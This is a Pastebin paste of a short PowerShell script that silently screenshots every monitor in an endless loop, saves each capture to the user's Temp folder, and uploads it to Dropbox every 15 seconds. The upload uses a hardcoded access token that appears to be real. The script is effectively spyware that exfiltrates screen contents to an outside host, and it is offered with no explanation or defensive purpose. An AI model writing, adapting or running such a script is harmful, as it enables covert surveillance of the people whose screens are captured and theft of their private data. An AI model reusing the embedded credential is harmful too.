CanofNoodle

c.ps1

Feb 23rd, 2023
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.90 KB | None | 0 0
  1. function DropBox-Upload {
  2.  
  3. [CmdletBinding()]
  4. param (
  5.  
  6. [Parameter (Mandatory = $True, ValueFromPipeline = $True)]
  7. [Alias("f")]
  8. [string]$SourceFilePath
  9. )
  10. $DropBoxAccessToken = "sl.BZbG7BgsCgBNG9ow67A1jZ9n1ZNdHFc1ugj1gLDlgqOYD_vGlym5uJ9cqQLxP6Gffc872M2iGI6bnNLYRIM4tMTE851pgtE4CETzhE1lapjVXmFBj-DAKSbGqZGaaAtaznbOFIvB" # Replace with your DropBox Access Token
  11. $outputFile = Split-Path $SourceFilePath -leaf
  12. $TargetFilePath="/$outputFile"
  13. $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
  14. $authorization = "Bearer " + $DropBoxAccessToken
  15. $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
  16. $headers.Add("Authorization", $authorization)
  17. $headers.Add("Dropbox-API-Arg", $arg)
  18. $headers.Add("Content-Type", 'application/octet-stream')
  19. Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
  20. }
  21.  
  22. while(1){
  23.  
  24. Add-Type -AssemblyName System.Windows.Forms,System.Drawing
  25.  
  26. $screens = [Windows.Forms.Screen]::AllScreens
  27.  
  28. $top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum
  29. $left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum
  30. $width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum
  31. $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum
  32.  
  33. $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)
  34. $bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height)
  35. $graphics = [Drawing.Graphics]::FromImage($bmp)
  36.  
  37. $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
  38.  
  39. $bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png")
  40. $graphics.Dispose()
  41. $bmp.Dispose()
  42.  
  43. start-sleep -Seconds 15
  44. "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload
  45. }
Advertisement
Add Comment
Please, Sign In to add comment